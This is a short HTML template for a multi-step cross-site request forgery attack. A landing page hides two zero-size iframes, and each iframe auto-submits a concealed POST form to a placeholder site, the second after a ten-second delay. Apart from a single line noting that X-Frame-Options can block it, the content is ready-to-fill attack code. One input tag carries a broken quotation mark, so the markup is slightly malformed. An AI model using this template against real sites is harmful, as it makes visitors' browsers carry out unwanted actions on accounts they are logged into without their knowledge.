IFrames Based Multi-Step CSRF. X-Frame-Options can block this.

Landing Page.html

Hello! Two step CSRF coming up...
<iframe src="step1.html" width="0" height="0">
</iframe>
<iframe src="step2.html"  width="0" height="0">
</iframe>

step1.html

<form name="form1" method="POST" action="https://SOMEURL.com">
      <input type="hidden" name="" value="" />
      <input type="hidden" name=" value="" />
</form>
<script type="text/javascript">
    document.form1.submit();
</script>

step2.html

<form name="form2" method="POST" action="https://SOMEOTHERURL.com">
      <input type="hidden" name="" value="" />
      <input type="hidden" name="" value="" />
</form>
 
<script type="text/javascript">
    window.setTimeout(doFormSubmit, 10000);
    function doFormSubmit()
    {
        document.form2.submit();
    }
</script>